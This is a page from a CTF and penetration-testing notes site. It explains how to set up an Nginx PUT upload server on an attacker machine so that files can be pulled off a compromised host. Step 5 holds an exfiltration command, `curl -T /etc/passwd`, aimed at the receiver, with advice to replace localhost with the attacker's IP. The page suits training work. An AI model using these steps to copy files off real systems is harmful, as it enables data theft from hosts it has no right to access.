> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/catching-files-over-https-nginx.md).

# Catching files over https-Nginx

Use this page when you want a more stable HTTP `PUT` receiver on the attacker.

This flow has two sides:

* **Attacker** — set up Nginx to receive uploads.
* **Compromised host** — push the file with `curl -T`.

{% hint style="info" %}
**Attacker** means your box, Pwnbox, or redirector.

**Compromised host** means the machine you already accessed.
{% endhint %}

### Why Nginx instead of Python `uploadserver`

Python `uploadserver` is fine for quick use.

Nginx is better when you want a more stable setup.

* More stable for large files
* Less likely to crash
* PHP is not enabled by default
* Apache is easier to misconfigure into executing uploads

### Full setup — Nginx `PUT` upload server

#### Step 1 — Attacker — create the upload directory

```bash
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
```

`www-data` is the user Nginx runs as.

It needs write access to the directory.

#### Step 2 — Attacker — create the Nginx config

```bash
# Create /etc/nginx/sites-available/upload.conf
server {
    listen 9001;

    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}
```

* `listen 9001` — run on port `9001`
* `dav_methods PUT` — allow HTTP `PUT`
* `root /var/www/uploads` — save files under that path

#### Step 3 — Attacker — enable the config and start Nginx

```bash
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
sudo systemctl restart nginx.service
```

The symlink makes Nginx load the site from `sites-enabled`.

#### Step 4 — Attacker — fix the default port `80` conflict if needed

```bash
# Check what's using port 80
tail -2 /var/log/nginx/error.log
ss -lnpt | grep 80

# Fix — remove default Nginx config that binds port 80
sudo rm /etc/nginx/sites-enabled/default
sudo systemctl restart nginx.service
```

On Pwnbox, port `80` is often already used by the VNC websocket service.

Removing the default config usually fixes it.

#### Step 5 — Compromised host — upload a file with `curl PUT`

```bash
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
```

`-T` uploads the file with HTTP `PUT`.

The file lands at `/var/www/uploads/SecretUploadDirectory/users.txt`.

For a real remote transfer, replace `localhost` with the attacker's IP or hostname.

#### Step 6 — Attacker — verify the file arrived

```bash
sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt
```


---

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